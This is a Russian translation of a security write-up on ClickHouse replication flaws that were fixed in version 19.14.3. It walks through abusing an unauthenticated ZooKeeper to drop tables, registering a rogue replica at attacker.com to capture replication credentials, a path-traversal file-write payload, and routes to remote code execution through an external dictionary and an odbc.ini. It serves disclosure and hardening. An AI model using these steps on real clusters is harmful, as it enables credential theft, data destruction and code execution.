[Перевод] Зачем нужно держать клетки в зоопарке закрытыми

yrgym9qbpxe6udgesupzi1gzfzs.png

В этой статье будет история об одной весьма характерной уязвимости в протоколе репликации в ClickHouse, а также будет показано, как можно расширить плоскость атаки.

ClickHouse — это база данных для хранения больших объемов данных, чаще всего используется больше одной реплики. Кластеризация и репликация в ClickHouse строятся поверх Apache ZooKeeper (ZK) и требуют прав на запись.

Установка ZK по умолчанию не требует аутентификации, так что тысячи ZK серверов, используемых для конфигурации Kafka, Hadoop, ClickHouse доступны публично.


Для сокращения плоскости атаки вы всегда должны настраивать аутентификацию и авторизацию при установке ZooKeeper

Есть конечно несколько 0day на основе Java десериализации, но представьте себе, что злоумышленник может читать и писать в ZooKeeper, используемый для репликации ClickHouse.

При настройке в кластерном режиме ClickHouse поддерживает распределенные запросы DDL, проходящие через ZK — для них узлы создаются в листе /clickhouse/task_queue/ddl.

Например вы создаете узел /clickhouse/task_queue/ddl/query-0001 с содержимым:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

а после этого на серверах кластера host1 и host2 таблица test будет удалена. DDL также поддерживает запуск запросов CREATE/ALTER/DROR.

Звучит страшно? Но где же атакующий сможет получить адреса серверов?

Репликация ClickHouse работает на уровне отдельных таблиц, так что при создании таблицы в ZK задается сервер, который будет отвечать за обмен метаданными с репликами. Например при выполнении запроса (ZK должен быть настроен, chXX — имя реплики, foobar — имя таблицы):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

будут созданы узлы columns и metadata.

Содержимое /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Можно ли слить данные из этого кластера? Да, если порт репликации (TCP/9009) на сервере chXX-address не будет закрыт firewall и не будет настроена аутентификация для репликации. Как обойти аутентификацию?

Атакующий может создать новую реплику в ZK, просто копируя содержимое с /clickhouse/tables/01-01/foobar/replicas/chXX и меняя значение host.

Содержимое /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Затем надо сказать остальным репликам, что на сервере атакующего есть новый блок данных, который им надо забрать — создается узел в ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX монотонно растущий счетчик, который должен быть больше, чем последний в журнале событий):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

где source_replica — имя реплики атакующего, созданной на предыдущем шаге, block_id — идентификатор блока данных, get — команда «get block» (а [тут команды для других операций](
)).

Далее каждая реплика читает новое событие в журнале и идет на сервер, подконтрольный злоумышленнику, для получения блока данных (протокол репликации двоичный, работает поверх HTTP). Сервер attacker.com будет получать запросы:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

где XXX — и есть данные аутентификации для репликации. В некоторых случаях это может быть учетная запись с доступом к базе данных по основному протоколу ClickHouse и протоколу HTTP. Как вы видели, плоскость атаки становится критически большой, потому что ZooKeeper, используемый для репликации, остался без настроенной аутентификации.

Давайте посмотрим на функцию получения блока данных из реплики, она написана с полной уверенностью, что все реплики под правильным контролем и между ними есть доверие.

https://miro.medium.com/max/700/1×92PefViWivYUEYFVhc1NMQ.png
код обработки репликации

Функция читает список файлов, затем их имена, размеры, содержимое, после чего пишет их в файловой системе. Стоит отдельно описать, как хранятся данные в файловой системе.

Есть несколько подкаталогов в /var/lib/clickhouse (каталог хранения по-умолчанию из конфигурационного файла):

flags — каталог для записи флагов, используемых при восстановлении после потери данных;
tmp — каталог хранения временных файлов;
user_files — операции с файлами в запросах ограничены этим каталогом (INTO OUTFILE и другие);
metadata — файлы sql с описаниями таблиц;
preprocessed_configs — обработанные производные конфигурационные файлы из /etc/clickhouse-server;
data — собственно каталог с самими данными, в этм случае для каждой базы просто создается отдельный подкаталог здесь (например /var/lib/clickhouse/data/default).

Для каждой таблицы создается подкаталог в каталоге с базой данных. Каждый столбец — отдельный файл в зависимости от формата движка. Например для таблицы foobar, созданной атакующим, будут созданы следующие файлы:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Реплика ожидает получения файлов с такими же именами при обработке блока данных и не проверяет их каким-либо способом.

Внимательный читатель вероятно уже слышал про небезопасную конкатенацию file_name в функции WriteBufferFromFile. Да, это позволяет атакующему записать произвольный контент в любой файл на ФС с правами пользователя clickhouse. Для этого реплика, подконтрольная атакующему, должна вернуть следующий ответ на запрос (для простоты понимания добавлены переносы строк):

\x01
\x00\x00\x00\x00\x00\x00\x00\x24
../../../../../../../../../tmp/pwned
\x12\x00\x00\x00\x00\x00\x00\x00
hellofromzookeeper

а после конкатенации ../../../../../../../../../tmp/pwned будет записан файл /tmp/pwned с содержимым hellofromzookeeper.

Есть несколько вариантов превращения возможности записи файлов в удаленный запуск кода (RCE).


Внешние словари в RCE

В старых версиях каталог с настройками ClickHouse хранился с правами пользователя clickhouse по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs. При изменениях они перечитываются. При наличии доступа к /etc/clickhouse-server атакующий может создать собственный внешний словарь исполняемого типа, а затем выполнить произвольный код. Текущие версии ClickHouse не дают права по-умолчанию, но если сервер постепенно обновлялся — такие права могли и остаться. Если вы занимаетесь поддержкой кластера ClickHouse, проверьте права на каталог с настройками, он должен принадлежать пользователю root.


ODBC в RCE

При установке пакета создается пользователь clickhouse, при этом не создается его домашний каталог /nonexistent. Однако при использовании внешних словарей, либо по другим причинам, администраторы создают каталог /nonexistent и дают пользователю clickhouse доступ на запись в него (ССЗБ! прим. переводчика).

ClickHouse поддерживает ODBC и может соединяться с другими базами данных. В ODBC вы можете указать путь к библиотеке с драйвером базы данных (.so). Старые версии ClickHouse позволяли проворачивать такое прямо в обработчике запросов, но теперь добавлена более строгая проверка строки соединения в odbc-bridge, так что теперь невозможно указать путь к драйверу из запроса. Но атакующий может писать в домашний каталог, используя уязвимость, описанную выше?

Давайте создадим файл ~/.odbc.ini с таким содержимым:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

затем при запуске SELECT * FROM odbc('DSN=lalala', 'test', 'test'); будет подгружена библиотека test.so и получено RCE (спасибо buglloc за наводку).

Эти и другие уязвимости были исправлены в версии ClickHouse 19.14.3. Берегите свои ClickHouse и ZooKeepers!

© Habrahabr.ru